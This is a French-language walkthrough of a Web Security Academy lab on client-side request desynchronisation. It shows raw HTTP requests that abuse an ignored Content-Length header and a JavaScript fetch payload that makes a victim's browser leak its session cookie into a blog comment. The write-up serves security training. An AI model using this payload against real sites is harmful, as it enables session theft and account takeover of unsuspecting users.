Désynchronisation côté client (client-side desync)

Client-side desync

Lab: Client-side desync | Web Security AcademyWebSecAcademy

Ce laboratoire est vulnérable aux attaques de désynchronisation côté client car le serveur ignore l’en-tête Content-Length pour certains endpoints. Cette faiblesse permet d’amener le navigateur de la victime à divulguer son cookie de session. Objectif du labo :

1. Identifier un vecteur de désynchronisation côté client avec Burp, puis vérifier qu’il est reproductible dans le navigateur.

2. Trouver un élément de l’application permettant d’injecter ou stocker du texte.

3. Combiner les deux pour forcer le navigateur de la victime à envoyer une série de requêtes inter-domaines qui divulguent son cookie.

4. Utiliser ce cookie pour accéder au compte de la victime.

Analyse du comportement du serveur

En envoyant une requête avec un Content-Length volontairement gonflé, on observe que le serveur l’ignore et traite à la place le contenu suivant comme une nouvelle requête :

POST / HTTP/1.1

Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 100



GET /error HTTP/1.1

Test: hello

Cette réaction confirme l’existence d’une désynchronisation côté client.

Mise en évidence de la désync

En configurant deux requêtes dans Burp (une simulant le client, l’autre l’attaquant) et en les envoyant en séquence, on observe que la réponse error destinée à l’attaquant se retrouve envoyée au client légitime.

Cela démontre que le serveur désynchronise les flux HTTP.

Exfiltration du cookie de la victime

Pour forcer le navigateur de la victime à divulguer son cookie de session, on cible la fonctionnalité de commentaire, qui permet de stocker du texte dans l’application.

On envoie une requête de commentaire avec un Content-Length gonflé :

POST /en/post/comment HTTP/1.1

Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 118



csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&comment=tst&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com

csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com&comment=tst

En augmentant ce champ (par exemple à 500), le commentaire publié révèle alors le cookie de session du compte connecté.

Automatisation via un script JavaScript

Pour transformer l’attaque en exploit utilisable par la victime, on construit une requête smuggled encapsulée dans un script :

<script>
smuggledRequest = [
    "POST /en/post/comment HTTP/1.1",
    "Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net",
    "Cookie: session=beALzw9m2Bqn8tBscGI4yK0O6TMWbOuz",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 850",
    "",
    "csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=4&name=test&[email protected]&website=https://test.com&comment=test"
].join('\r\n')

fetch("https://0a69005a041eb75c828761ef00630000.h1-web-security-academy.net", {
    method: "POST",
    body: smuggledRequest,
    credentials: 'include',
    mode: 'no-cors'
});
</script>

Ce payload entraîne l’envoi automatique de la requête smuggled par le navigateur de la victime.

Le cookie de session dérobé apparaît ensuite dans la section des commentaires.